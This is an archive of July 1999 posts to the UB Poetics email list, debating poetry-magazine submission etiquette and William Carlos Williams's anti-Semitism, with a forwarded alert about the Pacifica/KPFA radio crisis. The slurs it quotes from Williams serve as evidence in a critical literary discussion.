I, for one, get almost no submissions (for Oasia Broadsides), tho I don't advertise. I ask. Does that mean I'm operating a closed closet, a clothes closet, a close closet, what? Or I mean a "closed system"? In what ways and to what extent are we as editors supposed to remain "open" to all that accidence brings our way, including the cover letters covering the curricula vitae, previous publication lists and dangling modifiers of that sense of "person" that has us all

on some impersonal mailing list of places to send their enormous manuscripts to? When Stephen Dignazio and I were doing :that:, we'd occasionally receive manuscripts of up to 100 pages, despite the stated maximum we could print was maybe five. Nothing WRONG, tho, with this, really

just a matter of wanting each our own submissions to be personally regarded, like as if the editor had nothing else to read or do. Which sort of goes along with another misnomer, ie., that editors of magazines must therefore, in the minds of those who haven't attempted editing a magazine, have loads of money in addition to loads of time. So it was and is always difficult getting money for such projects, for this reason, and also because many of those most interested have perhaps even less money than the editors. But money

is a problem for about 90% of the world's population. (What magazines are THEY submitting to, we wonder ...). It's a disturbing conundrum, the hustling after what looks to be mostly reputation. Why does "authority" in the sense I mentioned at the outset of this note have to mean authority over others, the acquisition of power(publication = power, make no mistake). Poets are specialists, yet the tongue is profoundly common. That being so, literal distribution needn't be the emergency it sometimes seems to be. Power might be thought distributive rather than cumulative, and in that sense, the organs of distribution - the literal number of them - could usefully be expanded, rather than sticking to the submissive standards that a more crowded henhouse might be said to require. Ie., ever seen a schizophrenic chicken? 'Nuff said.

S E

> *From: "Patrick F. Durgin" <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: soapbox of submission*
> *Date: Mon, 12 Jul 1999 13:38:35 -0500*
>
> *Yeah, why do it at all if the whole wide world weren't at stake? I hear you there.*
> *Anecdote upon anecdote: I was receiving submissions without a cover letter, and sometimes without a letter or an SASE. My first thought was, what am I expected to do with these poems? No SASE, I immediately threw them out. No cover letter, I sent them back unread, no letter of explanation. Kenning doesn't print contributors notes, thus I really haven't a use for publication / bio in a letter, EXCEPT*
> *insofar as these things merge with whatever sort of request a submiter (or "contributor") is making. After all, it is always, even in the case of solicited material, a request of someone's time and attention to submit*

work. I think it is key to include a cover letter of some sort, at least indicating that the work is coming with the intention of entering into conversation with the editor and her/his publication/press. Thus, it is a bit ridiculous to send to a publication/press with which one is unfamiliar. If it were only a matter of making the work available, the most direct and often most efficacious way to do this is to publish it yourself.

With Kenning, the editorial focus (which is made as explicit as possible by means of occassional "editor's note"s) presupposes that I read unsolicited mss as well as solicited mss with an equal emphasis. They would all wind up in the same place.

Another key way to enter into conversation with editors / publications is to purchase and read them.

Patrick F. Durgin

At 10:21 AM 7/12/99 -0500, rebecca wolff wrote:
Hello. It seems that often comments made in this venue are all too quickly divorced from their pragmatic source, ie:

Some guy (I think guy) asked what should be in a cover letter. The question is one that implies a degree of ignorance of the appropriate contents of a cover letter, and a desire to know more.

Being an editor of a magazine who is often asked that very question, presumably with quite direct results attached to my response, Iresponded pragmatically, in such a way that might attempt to guide the querent toward what I consider, in my editorial high-chair, to be the favored method of writing a cover letter. This is because, being an editor, I am an opinionated so-and-so. If someone asked you, a restaurant critic, say, how you liked your portobello mushroom, you'd probably waste no time in attempting to describe the degree of tenderness required for your pleasure.

Fence does not allow --or at least inasmuch as is possible--annoying cover letters to color our response to the actual poems submitted. But that doesn't mean we don't find them annoying and wish they could be amended. Amendment is the editor's dream. We wish to amend the whole wide world.

A different question is: "Why do editors get so testy about submissions submitted in ways they do not admire?"

> *I would submit that this testiness is a hazard of the job, ie, we are unpaid laborers and cannot help but feel cranky and/or testy.*
>
> *Please send portobello mushrooms with your submissions*
>
> _____
> *k e n n i n g*
> *a newsletter of contemporary poetry*
>
> _____
> *http://www.avalon.net/~kenning*
>
> _____
> *418 Brown St. #10, Iowa City, IA 52245, USA*

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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165. Mark Wallace
tracking Brenda Coultas and Gillian McCain (fwd)
Tue 13 Jul 1999

Does anybody have recent phone numbers for Brenda Coultas or Gillian McCain? Backchannel would be great--thanks!

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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166. KENT JOHNSON
The good doctor on circumcision
Tue 13 Jul 1999

Steve Shoemaker wrote, and Michael Magee, Chris Stroffolino, and Michael Boughn agree:

> *To class Williams alongside Pound as an anti-semite seems to me ridiculous, and totally unsupported by the facts, at least as I've come across them in my reading of, and about, Williams. I would also second Michael's reading of the Williams*

> *Hiroshima quote: it seems to me to be *about* anti-Semitism, not an expression of it.*

The anti-semitisms of WCW, Pound and Eliot were indeed different, cast according to the idiosyncracies of each. I never said they were exactly the same. What I said is that WCW was "robust" in his anti-semitism just as Pound and Eliot were robust in proclaiming theirs. The record is there, and it is amazing and somewhat disturbing to see people more or less trying to sweep it under the rug. An essay on Williams that may cause the four listees mentioned above to reconsider is found in Eliot Weinberger's _Works on Paper_. There, Weinberger quotes an extraordinary exchange between Pound and Williams on circumcision. I would ask someone to write back about the "irony" in WCW's comments therein.

And on the Hiroshima quote, which the above Listees find slyly ironic or else innocuous: Why not read the comment in its most obvious and revealing sense--particularly given WCW's well-documented prejudices? The remark is firmly in the classic knee-jerk blame-the-Jew reaction (a la Hollywood, big banks, etc.): Truman, Byrnes, Stimson, the Pentagon disappear, and it's the Jews (the small minority of Jews on the Manhattan Project one supposes) who are behind it all... One could ask: Would someone who was _not_ anti-semitic be capable of making such a statement?

By the way, because I thought Weinberger would be interested in this exchange, I shared some of it with him. In response to Michel Magee's remark that

"... to simply call him anti-semitic or racist is to in fact say nothing at all. Among other things, one ends up missing the crucial fact of how the speech of ethnic minorities mediated Williams poetry: as in his famous characterization of his poetry as coming "out of the mouths of Polish mothers." Just who were these Polish mothers, do you think? I'd suggest that, like the Polish woman in "A Face of Stone," they were Jews.

Weinberger wrote:

"Magee is totally wrong that the Polish mothers were Jewish: obviously he doesn't know much about New Jersey! (You can quote me on that one!!)"

I point this out in the spirit of suggesting that when it comes to Williams, this matter of his vox populi as "mediated by ethnic voices" is not unmediated by the ideological aura of "quintessential americanness" that has grown up around his figure. And it may cause us to jump to hasty conclusions.

Kent

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167. Billy Little
Re: Williams's tomb sweepers
Tue 13 Jul 1999

gee kent, what would he be saying if it weren't ironic? the awkwardness of the opening phrase makes me imagine there's an opposition, a previous sentence where he says the day of the blast everyone congratulates the scientists... the day after...the poor jews, he doesn't say the bloodthirsty so and sos, he doesn't say the money-hungry moabites, he says the poor jews with perhaps an understood phrase here which might go who get blamed for everything, he says we because he's a democrat, he's not aloof, he wants us to realize we're all in the same boat -- we have met the enemy and he is us. cultural brainwash is hard for the best of us to transcend, i think he's saying hatred is a cornerstone of america, anti-semitism was preached by the catholic church into the 60s, whites only beaches government policy into the 60s, until after Williams death. the church pitted the blacks against the jews diverting attention from their own slumlording, Henry Ford pointed the poor at the jews to conceal his own merciless exploitation, q.v. flint and fairborn?. Some of this discussion seems very typical of the American Left purist self obliteration nobody's good enough for my revolution dissension encouraged by the government shall we measure the reader against the read. first ones first stones

billy dotter of d. amerkun rebelution com little

Why don't they call it the cannon?
why don't they call it the canyon?
the big hole you are left in after you are taught
and must unlearn to get even
even to see at all.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

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168. Elizabeth Treadwell
Re: SUBMISSION IMPOSSIBLE
Tue 13 Jul 1999

> *I second David Golumbia's words: "to let the lack of such (or even subtle mis-steps) get in the way of reading submitted work is disturbing too...". I didn't check my horoscope to see if I should*

> *be making public statements today, so maybe I'm out of line here. if so: sorry. Allen Bramhall*

For what it's worth here at Outlet I prefer subtle mis-steps; it's like realizing your "blind date" is a real person--heartwarming.

I agree that the writer ought to be at least vaguely familiar with the mag. Also, it is nice to hear feedback on prior issues, and this is often the only way it comes--not a great spectacle but true nonetheless.

And I'd also agree that all's fair in simultanaeity when you haven't heard for, say, the length of a typical pregnancy.

Elizabeth

Outlet
http://users.lanminds.com/dblelucy

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169. Alan Sondheim
(no subject)
Tue 13 Jul 1999

' '

Who can tell what will happen in this topsy-turvy world, what the new day will bring? Who can foretell anything in this floating world, where dreams are words and words are dreams, where words dream sunsets and creeks spil- ling over, flooding lands with waters and delights? In this fair world, nothing is ever for certain, and we give ourselves up to whatever happi- ness may befall us for the shortest while. In this evanescent world of ours, butterflies may return to their chrysalides, clouds may pour forth their very souls upon the earth. In this fleeting world, fortunes are made and lost in an instant, loves sing forth upon new green shoots, and elder logs make way for myriad and luminescent forms of life.

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170. A H Bramhall
A Party For Ted
Tue 13 Jul 1999

I miss Ted Berrigan tho I didn't know him. not to valorize him, not in this edgy, price-conscious age. I miss the effect of him making or missing his effect. didn't he have fun, no matter what hole he happened to dig? one sees clearly that I don't know him, he never saw me, we never parleyed. yet anyone can think of

the possible range, and the impossible. suddenly the rain seems glamourous because we, you and I, have been discussing it and dodging it, and remembering someone who did something, being something to our something. you know, personal stuff in an age of cash rebates. no, valorization doesn't work. Ted Berrigan will be Ted Berrigan till the very day he doesn't die. no matter if the Collected Poems And Wants Ads of the poet finds its way onto my shelf, the writer will be something, the reader something else. that doesn't mean heat can't exist, we've all seen the loss of heat. so now a car goes by because it's early morning. just linkage, a new age concept. if you buy ten of these we'll throw in one of what you want, till the end of time. I miss Ted Berrigan but not him only. I too have lived, thus my biography. I could give particulars but they exist as marketing ploys. I sense something somewhere because words haven't left, not in this rainy climate of value. I get wise, or think I do. this business of what remains, when someone leaves, or never was there, and other questions: who needs them? need them or not, I will and you will continue to repeat them, even with this valuable rain. and Ted Berrigan will remain somewhere. isn't that just about enough?

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171. **Balestrieri, Peter**

Name That Quote

Tue 13 Jul 1999

In "My Darling Clementine," Alan Mowbray (who's playing Thorndike, the drunken Tragedian) says farewell to Francis Ford (who's playing Dad, the old porter and Thorndike's drinking buddy and keeper) and recites some lines that begin "Great souls" and then there's "allegiance" in the middle and it ends with "burn." If anybody recognizes this quote, please let me know. Pete

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172. **Karen Weiser**

Re: Submission Crucible

Tue 13 Jul 1999

In response to Rebecca Wolf's question-
>

I personally wouldn't feel insulted if you enclosed a subscription form with a rejection notice because if I am submitting to your magazine it means I like it and am probably wanting to subscribe at some point.

Karen

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173. **KENT JOHNSON**

(Fwd) WCW [from E. Weinberger]

Tue 13 Jul 1999

The following is from Eliot Weinberger,who has written on Williams's anti-Semitism in _Works on Paper_ (New Directions).
Kent

------- Forwarded Message Follows -------
Date: Tue, 13 Jul 1999 18:09:19 -0400
To: [redacted]
From: Eliot Weinberger <[redacted]>
Subject: WCW

Dear Kent--

Thanks for forwarding me the various letters on WCW, anti-Semitism, and the Bomb. A few notes:

1) WCW is notoriously resistant to all attempts to summarize his thoughts or opinions. Nevertheless, his writings are strewn with anti-Semitic remarks: The short story that begins: "He was one of those fresh Jewish types you want to kill at sight, the presuming poor whose looks change the minute cash is mentioned." Or the essay "Against the Weather" that claims that Judaism is a "tribal-religious cult" that is "precisely the equivalent" of Fascism. (Written in 1939!) "Some fucking bastard of a yid." "Horrible overfed Jewish types." And so on. All of which must be taken in the context that one of WCW's grandparents was a Jew.

2) "Some of his best friends..." Well, ok. So were Pound's. (But not Eliot-- the worst of the bunch because he was a snob.) Consider this extreme case: Simultaneous to his promotion of the terrorist-segregationist Kasper, Pound was having a warm correspondence with Langston Hughes. (They had first become friends when Ez contributed to a fund-raiser for the Scottsboro Boys!) Along with Jewish friends and African American lovers, WCW was also collaborating with the bizarre Chinese White Supremacist David Rafael Wang.

3) WCW's so-called Puerto-Ricanness has been explored, not so convincingly, in a book by Julio Marzan called *The Spanish American Roots of WCW*. It is rather like Alexandre Dumas' Negritude. WCW was not trying to "pass," as someone said: he came from the age of the melting pot, and his were very white (Spanish) Puetro Rican roots.

4) The assertion that the Polish mothers were Jewish is really a stretch. Polish Jews are "Polish Jews" or "Jews." The default setting for "Pole" is Polish Catholic, just as it is white for "American."

5) Hiroshima. When I first published the WCW letter-- in my essay on Yasusada, as an example of the unreliability of poets as "witnesses"-- it struck me as a bizarre take on the explosion of the Bomb the day before. Since then I've come across an enigmatic poem by Lorine Niedecker, written a few months later, and I now wonder whether the identification of the Bomb as a specifically Jewish artifact was not more general:

> New!
> Reason explodes. Atomic split
> shows one element
> Jew
>
> Now hide
> who can bombarded particles
> of international
> pride

6) It seems to me undeniable that it is very difficult to think of a major American modernist who was not 1) black or Jewish AND 2) not racist or anti-Semitic. Hatred is an absolutely intrinsic part of American modernism, and as the heirs of that legacy we have to work it out.

> all best--
>
> Eliot

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174. Todd Baron /*/ ReMap Readers

Re: Meow Press is Moving!

Wed 14 Jul 1999

---

dear list:

trying to find Joel K. and MEOW press.
If any of you have heard from him
within the last month--backlist
pls. I'd appreciate it.

Todd Baron
ReMap

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175. **Jeffrey Jullich**
Re: Submission Crucible -Reply
Wed 14 Jul 1999

>>>Mr. Waber proposes that rejection letters ought to be accompanied by a subscription form . . . "adding insult to injury," "rubbing salt in the wound," etc. What do y'all think about this? Would you feel insulted, salted, annoyed, demeaned or otherwise antagonized by such an enclosure? I'd really like to know. Because we'd really like to have more subscribers.

Why do you say only "rejection letters" should be accompanied by a form? What is it about your ~acceptance~ letters or, for that matter, even solicited contributors that makes you leave them out of the equation? If you'd have qualms sending unasked-for subscription forms to, say, a Charles Bernstein, or Geoffrey O'Brien, or Fanny Howe, when you notify them of publication, that hesitation should apply to those whom you decline to publish, as well.

Some things to consider:

It's perfectly legitimate for a magazine to run a subscription campaign, and even to assemble a mailing list from the addresses of "submitters." But, in scrupulous business terms, that effort should be treated as its own separate account; otherwise, you're piggybacking your development campaign onto the backs of somebody else's 33 cent stamp.

There may be genuine reasons for deciding not to subscribe to journals and to buy them in bookstores, instead. The covers of perfectbound journals are usually not designed to be folded over and squashed to fit into narrow city mailboxes. So immediately, subscription means reading a damaged copy.

The publication schedule of small press journals is, as a rule, undependable. You never know exactly when they're going to come out. To be truly subscription-oriented, journals would have to hold themselves to the same firm commitment of unbending dates as periodicals, guaranteeing when the books will be sent out, and those dates should be advertised as such. A subscription is a ~contract.~ We're conditioned to these nuisances of punctuality and efficiency, and paying for something that you're never sure when you'll see it may be a reason for its unpopularity.

Also, the climate of non-literary journal magazines (glossies) we're acculturated to, where subscriptions are standard, has learned to run certain features to encourage an air of dialogue between the subscriber/reader and the magazine. Specifically, letters to the editor columns or "polls" as part of the aura that builds a subscription base. That's what you'd be buying into. Such lures foster

(even if an illusion) an impression of things being ~interactive,~ so that subscription fees are dismissed as only part of a larger two-way communication. A subscription campaign requires ~bait,~ in addition to the product itself. In same Madison Avenue glossy culture, subscribers are offered substantial financial discounts off newstand copies, which literary journals do not offer. Or t-shirts or mugs.

By sending out subscription forms like that, now you're the one entering into the "pretty please" realm of the unsolicited. And you risk having the reputation of your journal and its logo become part of the junk mail pile.

Personally, I've been spending about $35.00 a month, currently, sending off for small press journals ($3, maybe $5, rarely $7 a pop) who do not have national distributors. (That does not include the off-the-rack ones I buy, at about one a week; I have been known to buy $80.00 worth of literary magazines at a single shot.) I find it presumptuous, this bias that "submitters" are somehow not pulling their share of the weight. How do you ~know~ that the recipient of the rejection letter hasn't bought every issue to date? But, I must say, I very much like the feel of ~not~ playing into conventional consumerism that comes of this practice. It feels very personal: whoever mailed that journal wrote "Thanks!" on the outside of the mailing envelope! Converting the audience ("submitters") into cash cow returns the literary journal to a whole ethos (sorry) of target demographics and such, which I thought the iconoclasm of the poetry was ostensibly subverting. And once literary journals have become mixed into the blizzard of "Bill me later" forms, why not just belly up and subscribe to ~W?~

An alternative to treating the (frankly unpromising) "submitters" as golden goose might be to step up the drive for advertisers.

I hope this broadens the ramifications for "we'd really like to have".

JJ

↑ Index

176. Pierre Joris

URGENT: Staff are being cleared from KPFA station, arrests are being made!]]

Wed 14 Jul 1999

---

thot this would interest list members -- Pierre

-------- Original Message --------
Subject: [Fwd: URGENT: Staff are being cleared from KPFA station, arrests are being made!]
Date: Wed, 14 Jul 1999 06:24:24 +0100
From: John Whiting <[redacted]>

Reply-To: John Whiting <[redacted]>
Organization: Diatribal Press
To: John Whiting <[redacted]>

Even as I write my review of Matthew Lasar's _Pacifica Radio_, it threatens to become an obituary. When a self-perpetuating group of people sit in absolute control of a large amount of money, they want to play with it.

John

Return-Path: <[redacted]>
by mail1-gui.server.which.net (Post.Office MTA v3.1.2
release (PO203-101c) ID# 0-33929U70000L2S50) with ESMTP
id AAA10035 for <[redacted]>;
Wed, 14 Jul 1999 05:34:23 +0100
by dodo.prod.itd.earthlink.net (8.8.7/8.8.5) with SMTP id VAA01352;
Tue, 13 Jul 1999 21:19:43 -0700 (PDT)
Reply-To: "savepacifica" <[redacted]>
From: "savepacifica" <[redacted]>
To: "savepacifica" <[redacted]>
Subject: URGENT: Staff are being cleared from KPFA station, arrests are being made!
Date: Tue, 13 Jul 1999 23:19:29 -0500

A critical moment is at hand.

At this time (8:30 PM PDT, 7/13/87) guards are acting under orders of the Pacifica National Board to clear the KPFA building of protesters and ALL STAFF!!

Mark Mericle was forcibly removed from the air earlier today, inspiring a protest demonstration, which at this time consists of 300+ demonstrators. The guards are now acting under orders of the Pacifica National Board to remove not only the protesters, but also ALL STAFF. Protesters and staff are being arrested and taken away. Let your voice be heard! Go to the station and protest the incredible acts of the board! Go and witness democracy disappearing from Pacifica ...

As always, check http://www.savepacifica.net for the latest on the crisis.

Earlier, Media Alliance received a copy of a disturbing e-mail, copied below -------- TEXT OF E-MAIL RECEIVED TODAY BY MEDIA ALLIANCE IN SAN FRANCISCO... UNAUTHENTICATED AS OF 6 PM TUESDAY!

(Note: Micheal Palmer is a real estate developer in Houston, and a member of the KPFT advisory board. He has been said to favor the sale of either KPFA or WBAI - both of which are "grandfathered" onto commercial frequencies and are

worth about $60 million and $120 million respectively. The money would ostensibly be used to set up an endowment for Pacifica.

KPFB, referred to in paragraph 2, is a low power transmitter in Berkeley, which reaches only the immediate Berkeley area. It was originally set up to simulcast KPFA's coverage to areas in North Berkeley which cannot receive KPFA clearly because of hills between the transmitter and that area. It broadcasts some original programming, including live coverage of Berkeley city council and school board meetings)

> *From: Palmer, Micheal @ Houston Galleria,*
> *[redacted]*
> *To: 'Mary Francis Berry', [redacted]*
>
> *Hello Dr. Berry,*
>
> *I salute your fortitude in scheduling a news conference opportunity in the beloved Bay Area regarding one of the most pressing issues of our time.....*
>
> *But seriously, I was under the impression there was support in the proper quarters, and a definite majority, for shutting down that unit and re-programming immediately. Has that changed? Is there consensus among the national staff that anything other than that is acceptable/bearable? I recall Cheryl saying that the national staff wanted to know with certitude that they supported 100% by the Board in whatever direction was taken; what direction is being taken?*
>
> *As an update for you and Lynn I spoke with the only radio broker I know last week and his research shows $750,000-$1.25m for KPFB. There would be a very "shallow pool" of buyers for a repeater signal such as this and it would be difficult to do a marketing effort quietly due to the shortage of buyers. So there is no profound latent value to that asset. The primary signal would lend itself to a quiet marketing scenario of discreet presentation to logical and qualified buyers. This is the best radio market in history and while public companies may see a dilutive effect from a sale (due to the approximate 12 month repositioning effort needed), they would still be aggressive for such a signal. Private media companies would be the most aggressive in terms of price, which he thinks could be in the $65-75m range depending on various aspects of a deal. It would be possible to acquire other signals in the area, possibly more than one, to re-establish operations, but it could take a few years to complete if we want to maximize proceeds from the initial license transfer, or leave only $10-20m in arbitrage gain when purchase(s) is complete. None of this reflects tax consequences. This broker, just like any other that would*

undertake such an effort, would need certain agreements in place prior to starting.

Mary I think any such transfer we would ever consider requires significant analysis, not so much regarding a decision to go forward, but how to best undertake the effort and to deploy the resulting capital with the least amount of tax, legal and social disruption. I believe the Finance Committee will undertake a close review of the Audigraphics data provided recently to determine what it is costing us per listener, per subscriber, per market, per hour of programming...in order give the Executive Director and the General Managers benchmarks for improvement. Even with that data my feeling is that a more beneficial disposition would be of the New York signal as there is a smaller subscriber base without the long and emotional history as the Bay Area, far more associated value, a similarly dysfunctional staff though far less effective and an overall better opportunity to redefine Pacifica going forward. It is simply the more strategic asset.

With this in mind I would encourage frank description of the realities of the media enviornment we operate in and of Pacifica's available resources to participate and have impact in the evolving media world. The Executive Committee, at a minimum, should have access to experts (whether from Wall Street, NPR/CPB, Microsoft or otherwise) to get a strong reality check (me included) about radio and Pacifica's position in it so that informed decisions can be made. My feeling is that we are experiencing a slow financial death which is having the normal emotional outbursts commensurate with such a disease. We will continually experience similar events, in fact we have been experiencing similar events over the past several years, primarily because we are not self supporting through subscriber contributions and have a self imposed constraint on asset redeployment that leaves us cash starved at a time when our industry is being propelled in new directions, each requiring capital outlays of consequence. We're boxed in at our own will. This board needs to be educated, quickly, and to take action that will be far more controversial that the KPFA situation. How can we get there?

So, now I've exhaled more than I should, but you know where I'm at. Let's do something.

MDP

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177. geraets
Under New Management: NZ's new writing
Wed 14 Jul 1999

Some of you may be aware that Alan Loney, a fine poet and editor, has recently relinquished the editing of A BRIEF DESCRIPTION OF THE WHOLE WORLD, a magazine of experiemental writing in New Zealand.

It continues as the only magazine in NZ supporting and supported by experimental writers. The June issue now available, ABDOTWW/12, comprises a reissue of Leigh Davis's long poem book, WILLY'S GAZETTE, which first appeared in 1983. The magazine is proud to be involved in the reissue of this landmark book.

For those of you who may have a specific interest in Leigh's book, or in new writing in NZ, please feel most encouraged to be in touch. The magazine is produced quarterly and a year's subscription is a mere $US25 (postage included).

John Geraets
Editor--ABDOTWW
[redacted]
11-20 Poynton Tce
Auckland 1001, NZ.

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178. Ron Persons
Re: submission guidelines
Wed 14 Jul 1999

Years ago I sent in poems and SASE. Then read article in literary magazine in which several editors of poetry magazines termed this practice rude and thoughtless. The *least* I could do was to introduce myself, give the editors some sense of who was sending the poems, and speak briefly but in detail of the last issue of their magazine. An editor on this list prefers to have graduate school(and when attended), if any, and recent publications in order to *place* the poet. Please, editors, publish these preferences right along with the address for submissions. thanks, RP

>From: Douglas Barbour <[redacted]>
>To: [redacted]
>Subject: Re: submission guidelines
>Date: Tue, Jul 13, 1999, 10:38 AM
>

> *Gee, it's all very interesting reading the back & forth here, but I must say I still tend to go with what a poet/editor told me many years ago: send in some poems & a SASE. The poems should speak for themselves. And I have to dmit that when I did edit, I found most accompanying letters got in the way...*
>
> *Douglas Barbour*
> *Department of English*
> *University of Alberta*
> *Edmonton Alberta Canada T6G 2E5*
> *(h) [780] [redacted] (b) [780] [redacted]*
> *http://www.ualberta.ca/~dbarbour/dbhome.htm*
>
> > *A bottle thrown*
> > *by loggers out of a wagon*
> > *past midnight*
> > *explodes against rock.*
> > *This green fragment has behind it*
> > *the _booomm_ when glass*
> > *tears free of of its smoothness*
> >
> > > *Michael Ondaatje*

↑ Index

179. **Douglas Barbour**
Re: ordering Carnivocal
Wed 14 Jul 1999

To, I hope, clarify further:

Red Deer Press (its Marketing Assistant) told me this:

<<I suppose they could order from Canada if they are an individual. I'm not sure if bookstores or wholesalers can buy CDs from Canada.>>

That would be to call Raincoast Books, which has a (Canadian) [redacted]. If, as seems to be the case from here to the US, the 800 number doesn't work, people could try their e-mail address:

[redacted]

It's $16.95 CAN (+ postage, I'd assume).

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5

(h) [780] [redacted] (b) [780] [redacted]
http://www.ualberta.ca/~dbarbour/dbhome.htm

A bottle thrown
by loggers out of a wagon
past midnight
explodes against rock.
This green fragment has behind it
the _booomm_ when glass
tears free of of its smoothness

Michael Ondaatje

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180. Michael Magee
Re: (Fwd) WCW [from E. Weinberger]
Wed 14 Jul 1999

Kent, last post on this quickly tiring strain: 1) Eliot Weinberger's post to you below is significantly more measured in its evaluation of WCW than your own posts were; 2) nonetheless, his quoting of the line "He was one of those fresh Jewsih types you want to kill at sight" is a misrepresentation: it occurs in the short story I mentioned before, "A Face of Stone" where it is *completely undone* over the course of the story, as the doctor finds out that the wife of this man [the "Polish mother" I mentioned before who is indeed Jewish] had "contracted rickets in German occupied Poland because of severe malnutrition, that her entire family had been wiped out over there." Okay? 3) To say, "Yeah, Pound had some Jewish friends too" is to distort the picture: Williams had an *overwhelming* number of friendships with Jewish poets and thinkers - few of them sheepish (i.e. they would have really let him have it for any perceived anti-semitism.)

Look, I'm not trying to champion Williams's approach to race here, I'm simply saying that to witch hunt him on this issue is *paralyzing* - it prevents us from making any distinctions, any ethical choices, and in fact, it replicates the very phenomenon of separating-wheat-from-chaff that is the modus operandi of fascist action. When Weinberger says that "All of which must be taken in the context that one of WCW's grandparents was a Jew," he is pointing toward precisely what I, and many others, have been saying: that the question, "Why do anti-semitic trusims pepper Williams's writings?" is not so easily answered; but if answered complexly might be pretty valuable.

-m.

According to KENT JOHNSON: >
> Dear Kent-- >
> Thanks for forwarding me the various letters on WCW, anti-Semitism, and the
> Bomb. A few notes:
>
> 1) WCW is notoriously resistant to all attempts to summarize his thoughts
> or opinions. Nevertheless, his writings are strewn with anti-Semitic
> remarks: The short story that begins: "He was one of those fresh Jewish
> types you want to kill at sight, the presuming poor whose looks change the
> minute cash is mentioned." Or the essay "Against the Weather" that claims
> that Judaism is a "tribal-religious cult" that is "precisely the
> equivalent" of Fascism. (Written in 1939!) "Some fucking bastard of a yid."
> "Horrible overfed Jewish types." And so on. All of which must be taken in
> the context that one of WCW's grandparents was a Jew.
>
> 2) "Some of his best friends..." Well, ok. So were Pound's. (But not
> Eliot-- the worst of the bunch because he was a snob.) Consider this
> extreme case: Simultaneous to his promotion of the terrorist-segregationist
> Kasper, Pound was having a warm correspondence with Langston Hughes.
(They
> had first become friends when Ez contributed to a fund-raiser for the
> Scottsboro Boys!) Along with Jewish friends and African American lovers,
> WCW was also collaborating with the bizarre Chinese White Supremacist
David
> Rafael Wang.
>
> 3) WCW's so-called Puerto-Ricanness has been explored, not so convincingly,
> in a book by Julio Marzan called *The Spanish American Roots of WCW*. It is
> rather like Alexandre Dumas' Negritude. WCW was not trying to "pass," as
> someone said: he came from the age of the melting pot, and his were very
> white (Spanish) Puetro Rican roots.
>
> 4) The assertion that the Polish mothers were Jewish is really a stretch.
> Polish Jews are "Polish Jews" or "Jews." The default setting for "Pole" is
> Polish Catholic, just as it is white for "American."
>
> 5) Hiroshima. When I first published the WCW letter-- in my essay on
> Yasusada, as an example of the unreliability of poets as
> "witnesses"-- it struck me as a bizarre take on the explosion of the
> Bomb the day before. Since then I've come across an enigmatic poem by
> Lorine Niedecker, written a few months later, and I now wonder
> whether the identification of the Bomb as a specifically Jewish

> artifact was not more general:
>
> New!
> Reason explodes. Atomic split
> shows one element
> Jew
>
> Now hide
> who can bombarded particles
> of international
> pride
>
>
> 6) It seems to me undeniable that it is very difficult to think of a major
> American modernist who was not 1) black or Jewish AND 2) not racist or
> anti-Semitic. Hatred is an absolutely intrinsic part of American modernism,
> and as the heirs of that legacy we have to work it out.
>
>
> all best--
>
> Eliot
>

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181. KENT JOHNSON

Purity

Wed 14 Jul 1999

May I indulge in some self-defense, please?

Stephen Vincent wrote:

> *Kent Johnson's righteousness - or at least that tone - about nailing WCW to an anti-Semitic cross seems to me to indulge an easy dichotomy. I am not sure if Johnson's trying to throw the Doctor out with the bath water, but I always get uncomfortable when anyone (myself included) goes to the Holy ground with an implicit claim of purity - what ever might be the issue. I would go as far to say that my opposition to anti-Semitic, anti-Palestinian, racist, homophobic or any other abusive behavior involves a personal acknowledgment and desire to exorcise some part of my person that has inherited or learned those behaviors*

Stephen, if I point out, as I did, that there is textual evidence of a strong anti-Semitic strain in Williams, why is this "self-righteousness"? I responded to what I felt was a significant blind spot in Billy Little's typically-provocative post, and did so in a reasonable way, I thought. Then there were four indignant responses, all of which strongly denied the applicability of the term, a couple of these calling my post "ridiculous." So I responded, pointing people to some specific evidence, and now am accused by you of being self-righteous, by implication blind to my own likely racism, and of trying to throw WCW "out with the bathwater."

I _love_ Williams. If he was more of a prick, more humanly sinful than the canon-makers have let on, that does nothing to diminish the greatness of his poetry. And in some ways the darkness makes the greatness all the more fascinating! The record is the record (which, yes, is open to differing interpretations), and I think it's best to talk about it without the innuendo you interject above. Kent

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182. Ryan Knighton, Editor
Re: Submission Crucible
Wed 14 Jul 1999

I suppose there's another question hiding in Rebecca's (not to put questions in your mouth): I'm also curious what others think about submitting to journals/magazines you don't subscribe to. I would say more than 95% of what we receive at TCR is from people not on our subscription lists (I'm sure this is a common story).

Date sent: Tue, 13 Jul 1999 15:59:15 -0500
Send reply to: UB Poetics discussion group <[redacted]>
From: Karen Weiser <[redacted]>
Subject: Re: Submission Crucible
To: [redacted]

> *In response to Rebecca Wolf's question-*
>
> *I personally wouldn't feel insulted if you enclosed a subscription form with a rejection notice because if I am submitting to your magazine it means I like it and am probably wanting to subscribe at some point.*
>
> *Karen*

Ryan Knighton, Editor
The Capilano Review
2055 Purcell Way
N. Vancouver V7J 3H5
PH: [redacted]

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183. **Carol L. Hamshaw**
Re: SUBMISSION IMPOSSIBLE
Wed 14 Jul 1999

We publish with First serial rights. We, as all journals in Canada do, have a policy to publish only original, unpublished work. This is largely due to the policy of our major funder, The Canada Council, who stipulate that journals publish unpublished work. Nearly all journals in Canada receive significant amount of support from the Can-Council, and its the main reason any of them survive.

It is unfortunate that the infrastructure, policies and many decisions are determined by the capitalist system but until you can actually publish and print without it costing money, we have to negotiate that. I have learned that TCR pays its contributors at the high end of the scale, and we're proud of that, that we can and do support writers and artists. We aim to survive so we can continue to do that.

Since I am only the Managing Editor of my journal, and there is an Editor who makes the final decisions about what to publish, I don't think of myself as an editor first but as an Arts Administrator. I fill in grant application forms, handle the subscription list, promotions, publicity, manage the reading of 100 submissions a month with a small group of volunteers, organize and prepare board meetings, fulfill all the legal requirements of being a nonprofit society, etc.

